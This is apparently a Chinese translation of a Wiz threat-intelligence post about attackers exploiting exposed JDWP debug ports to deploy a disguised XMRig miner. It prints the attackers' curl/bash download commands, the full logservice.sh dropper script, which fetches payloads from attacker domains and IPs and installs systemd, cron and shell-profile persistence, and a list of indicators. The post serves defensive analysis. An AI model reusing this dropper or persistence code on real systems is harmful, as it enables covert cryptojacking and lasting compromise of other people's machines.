文章总结: 本文档详细分析了暴露的Java调试线协议(JDWP)在野外被攻击者利用的情况。JDWP是Java平台的标准调试功能,默认没有身份验证机制,一旦暴露在互联网上就成为高风险入口。攻击者可以通过JDWP接口实现远程代码执行,部署定制版XMRig挖矿软件,并建立多种持久化机制。研究表明,暴露的JDWP端口会在几小时内被扫描和利用,超过6000个IP地址在过去90天内扫描JDWP端点。文档建议开发者不要将JDWP暴露在互联网上,并提供了检测和防护措施。
综合评分: 93
文章分类: 漏洞分析,应急响应,渗透测试,威胁情报,WEB安全
暴露的 JDWP 在野外被利用:当调试端口被留下开放时会发生什么
Yaara Shriki
securitainment
2025年8月12日 12:42
中国香港
翻译自 Exposed JDWP Exploited in the Wild What Happens When Debug Ports Are Left Open
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
介绍
在例行监控期间,Wiz 研究团队观察到一次针对我们蜜罐服务器的攻击尝试,该服务器运行着流行的 CI/CD 工具 TeamCity。调查发现,攻击者利用一个暴露的 Java 调试线协议(JDWP)接口,成功获得了远程代码执行权限,并最终部署了挖矿载荷及多种持久化机制。
本次攻击有以下几个值得关注的特点:
- 快速利用恶意软件在暴露易受攻击的机器后仅几小时内部署。我们在多次尝试中都观察到了这种快速的攻击周期。
- 定制的 XMRig 载荷攻击者使用了一个带有硬编码配置的修改版 XMRig,从而避免了使用通常会被防御者标记的可疑命令行参数。
- 隐蔽的加密货币挖矿该载荷使用了矿池代理来隐藏其加密货币钱包地址,从而阻止调查人员追踪。
什么是 JDWP?
JDWP,全称 Java 调试线协议(Java Debug Wire Protocol),是 Java 平台的一项标准功能,旨在帮助开发者调试运行中的应用程序。它允许在不重启应用的情况下,远程检查线程、内存和执行流。开发者通常通过以下标志启动 JVM 来启用它。此设置会告知 JVM 在端口 5005 上监听调试器连接,并接受来自所有网络接口的连接。
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
然而,JDWP 默认并未实现身份验证或访问控制,将其暴露于互联网被视为一种错误配置。一旦暴露,它便成为一个高风险入口,使攻击者能完全控制正在运行的 Java 进程。在本次事件中,此错误配置使得攻击者能够注入并执行任意命令、建立持久化并运行恶意软件。
虽然 JDWP 在大多数 Java 应用中默认关闭,但它在开发和调试环境中被广泛使用。许多流行应用在调试模式下运行时会自动启动 JDWP 服务器,且通常不会向开发者明确提示其风险。如果保护不当或被暴露,就可能导致远程代码执行(RCE)漏洞。
在调试模式下可能启动 JDWP 服务器的应用包括:
- TeamCity(由 JetBrains 开发的 CI/CD 服务器)
- Jenkins(流行的 CI 工具)
- Selenium Grid(分布式浏览器测试平台)
- Elasticsearch(基于 Java 的搜索引擎)
- Quarkus(云原生 Java 框架)
- Spring Boot(Java 框架)
- Apache Tomcat(开源 Web 服务器)
JDWP 目标
如前所述,我们观察到暴露的 JDWP 实例被迅速利用。在我们的测试中,部署一台暴露 JDWP 的机器后,我们的传感器在短短几小时内就检测到了多次利用尝试。这表明 JDWP 是一个高度集中的攻击目标。为了证实这一点,我们使用 GreyNoise 的标签搜索功能发现,在过去 90 天内,有超过 6,000 个独立 IP 地址在扫描 JDWP 端点。
攻击流程
在调查过程中,我们观察到来自不同攻击者的多次 JDWP 利用尝试。为简洁起见,本篇博客将聚焦于一个典型事件,该事件能很好地代表整个攻击活动。请注意,附录中的失陷指标(IoCs)涵盖了所有观察到的活动,而非仅限于此特定事件。
攻击者首先扫描互联网上开放的 JDWP 端口。其中一次扫描触达了我们的蜜罐服务器,该服务器在端口 5005 上暴露了 JDWP。攻击者随后发送 JDWP-Handshake请求以确认接口活跃并建立 JDWP 会话。JVM 响应了版本详情和已加载类的列表,确认 JDWP 已完全暴露且可交互。
上图为 Wireshark 中显示的 JDWP-Handshake 协议截图。
随后,攻击者遵循结构化序列以实现远程代码执行,可能使用了带有额外功能的 jdwp-shellifier 变体。他们查询 JVM 以获取可用类和方法,然后定位到 java.lang.Runtime及其 getRuntime()和 exec()方法。
利用步骤包括:
-
创建包含系统命令的 Java 字符串,例如:
-
curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh> -
bash /tmp/logservice.sh -
使用
INVOKESTATICMETHOD_SIG调用Runtime.getRuntime() -
使用
INVOKEMETHOD_SIG将命令字符串传递给exec()
上图为 Wireshark 中显示包含利用命令的 JDWP 数据包截图。
这些步骤通过不同的命令组合(wget, sh等)重复执行,以下载并启动攻击载荷。
在底层,攻击者发出了低级别的 JDWP 指令,包括 CreateString、get_all_classes、get_methods以及方法调用签名。他们完全通过 JDWP 协议进行操作,无需访问应用程序本身。
logservice.sh
logservice.sh是一个具有以下功能的投放器脚本:
- 杀死竞争的挖矿进程或任何高 CPU 进程(占用超过 60% CPU 的进程,一小部分白名单进程除外)。
- 从
https[://]awarmcorner[.]world/silicon<architecture>blueprints.png下载 XMRig 挖矿程序,并将其放入~/.config/logrotate后执行。 - 在所有 shell 启动文件(
.bashrc,.zshrc等)、rc.local、systemd和多个 cron 任务中安装持久化钩子,确保载荷在每次 shell 登录、重启或计划任务间隔时被重新获取和执行。 - 退出时自删除,以尽量减少痕迹。
#!/bin/sh{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"trap 'rm -- "$0"' EXITif [ -z "${HOME+x}" ]; then export HOME=/tmpfimkdir -p "$HOME/.config" >/dev/null 2>&1[ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>" [ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>" [ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>" [ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>" { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1 chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1}pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"add_to_startup() { if [ -r "$1" ]; then if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then echo "$EXEC >/dev/null 2>&1" >> "$1" fi fi}case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;;esac[ "$(id -u)" -eq 0 ] && { RCLOCAL='' [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local' [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local' [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL" cat >/etc/systemd/system/logrotate.service <<EOL[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.targetEOL sudo systemctl daemon-reload 2>/dev/null sudo systemctl enable logrotate.service 2>/dev/null [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null}
logrotate 二进制文件
如前所述,攻击者以 logrotate的名称部署恶意载荷,很可能是为了与同名的合法系统工具混淆以避免引起怀疑。而实际上,该 logrotate二进制文件是 XMRig 的一个修改变种。XMRig 是一个合法的开源挖矿程序,不出所料,它仍然是威胁行为者进行未授权挖矿的首选。作为开源软件,XMRig 为攻击者提供了易于定制的便利,本次事件中,攻击者剥离了所有命令行解析逻辑并硬编码了配置。这种修改不仅简化了部署,还使载荷能更令人信服地模仿原始的 logrotate进程。
持久化机制
获得执行权限后,攻击者设置了多个持久化机制。我们观察到他们组合使用了传统启动脚本、现代 systemd 服务、cron 作业和 shell 配置文件:
RC Local
他们首先检查 Linux 发行版并修改相应的启动文件:
RCLOCAL=''[ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'[ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'[ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
Systemd Service
接下来,攻击者放置了一个伪装成 logrotate的虚假 systemd 服务。实际上,它仅指向其恶意二进制文件,并被设置为持续重启:
[Unit]Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files[Service]ExecStart=$HOME/.config/logrotateRestart=alwaysNice=-20StandardOutput=null[Install]WantedBy=multi-user.target
Shell 启动脚本
为了在终端登录或注销时触发载荷,他们将其附加到用户特定的 shell 配置文件中:
case "$(ps -p $$ -o comm=)" in bash) add_to_startup "$HOME/.bashrc" add_to_startup "$HOME/.bash_logout" ;; zsh) add_to_startup "$HOME/.zshrc" ;;esac
Cron Jobs
最后,攻击者在多个位置和时间间隔创建了 cron 作业。
[ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null[ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null[ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null[ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null[ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null[ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null[ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null[ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
Wiz 如何提供帮助?
检测
| IoC | 类型 | 描述 |
| — | — | — |
| a923de9df0766d6c4be46191117b8cc6486cf19c | SHA-1 | logservice.sh |
| 1879d5fa0c2ca816fcb261e96338e325e76dca09 | SHA-1 | logservice.sh |
| 18d83ba336ca6926ce8b9d68f104cff053f0c2f9 | SHA-1 | o.sh – 攻击脚本 |
| 815bc1a79440cdc4a7e1d876ff2dc7bc4f53d25e | SHA-1 | logrotate |
| 0851a95d46f035c7759782299422bcfd794e2aec | SHA-1 | logrotate |
| 7074d674d120d19aa7e44e29dd126af152ccdb7c | SHA-1 | logrotate |
| 2d4a23e861ef41df6953195fa4cda115e37a7218 | SHA-1 | logrotate |
| baf0a3b92225f56499c6879b176a3d6163b9d3ef | SHA-1 | logrotate |
| ea7c97294f415dc8713ac8c280b3123da62f6e56 | SHA-1 | XMRig 6.22 |
| 185.196.8[.]123 | IP | 文件服务器 |
| 185.196.8[.]86 | IP | 载荷文件服务器 |
| 176.65.148[.]57 | IP | JDWP 扫描器 |
| 176.65.148[.]86 | IP | JDWP 扫描器 |
| 176.65.148[.]239 | IP | JDWP 扫描器 |
| 185.208.156[.]247:3333 | IP | 挖矿池 |
| 185.196.8[.]41 | IP | 挖矿池 |
| https://awarmcorner[.]world | 域名 | 载荷文件服务器 |
| https://aheatcorner[.]world | 域名 | 之前的载荷文件服务器 |
| https://canonicalconnect[.]com | 域名 | 载荷文件服务器 |
| https://cozy[.]yachts | 域名 | 之前的载荷文件服务器 |
| https://s3.tebi[.]io/dhcpdc/o.sh | URL | 载荷 URL |
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Yaara Shriki《暴露的 JDWP 在野外被利用:当调试端口被留下开放时会发生什么》